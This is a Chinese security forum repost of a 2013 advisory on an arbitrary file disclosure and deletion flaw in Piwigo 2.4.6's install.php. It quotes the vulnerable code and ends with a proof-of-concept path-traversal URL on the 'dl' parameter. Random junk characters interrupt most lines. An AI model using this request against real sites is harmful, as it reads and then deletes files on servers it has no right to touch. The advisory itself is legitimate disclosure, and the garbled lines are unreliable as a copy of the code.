找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2768|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
& E8 n$ W9 ^; @% k& c+ `" M4 z
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
4 ]# e3 n  o6 @& ]1 n1 J====================================================================
- d' P  n! R  D  ^& j# v/install.php:
; ^" M$ ]; p6 h: J) l-------------7 t+ m) p" d  L: O$ `$ j
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
# ^1 T" c0 d5 {# ]6 i6 `114: {/ ?7 |) g# w: n% v
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
- a$ \" p& W9 Z4 j116:   header('Cache-Control: no-cache, must-revalidate');
2 a- ~) G( S+ R117:   header('Pragma: no-cache');
  F$ C+ j- _# k! ^% B118:   header('Content-Disposition: attachment; filename="database.inc.php"');( x& S$ G# ?" j& `" p% c6 Q: R
119:   header('Content-Transfer-Encoding: binary');6 O  _* J, p( g8 b5 @2 k& U  }7 B
120:   header('Content-Length: '.filesize($filename));
* Q& y( J1 q2 I3 d) ?121:   echo file_get_contents($filename);7 }8 U' d* j' A+ e- x/ ?
122:   unlink($filename);, c; G5 n' D1 U, }
123:   exit();
2 a2 r3 z( I0 s, t# r3 T124: }
  v! Y% }2 `1 n. ~+ B7 n====================================================================, i' E; I/ U, c' L

& n& G# _$ Q3 p$ nTested on: Microsoft Windows 7 Ultimate SP1 (EN)
$ ]  [7 U6 `6 B5 J( v( E  o           Apache 2.4.2 (Win32)* f, L3 N2 z' e$ |& Z9 c9 N' _
           PHP 5.4.47 w6 t" p7 }8 {) _, }; A
           MySQL 5.5.25a; Y7 E& t. w9 q
+ t: E3 K0 Y: T9 p& h
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
: i6 b* e5 |+ K! U  r                            @zeroscience& n; s3 Q7 o, i
) l% J* t( ]) W: h% g& V& w
Advisory ID: ZSL-2013-5127% p; [$ i" s- u) `+ y" R+ W. _
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
, }* g- Y' T6 m) FVendor Patch: http://piwigo.org/bugs/view.php?id=2843
* p/ |3 l7 ^& b, l/ t + K& {3 R. v+ h% n5 ?+ O  K
15.02.20137 O1 r1 d5 t# p$ O* u5 X; i* H, x
$ {2 S* |5 Z9 t" `2 W# p! K
--  x& E( Q8 I, m6 ?2 M
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
  l3 o' P: H- _/ p& _$ C/ o
$ |# E# k$ b$ G6 Q6 {1 I7 [/ V/ r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表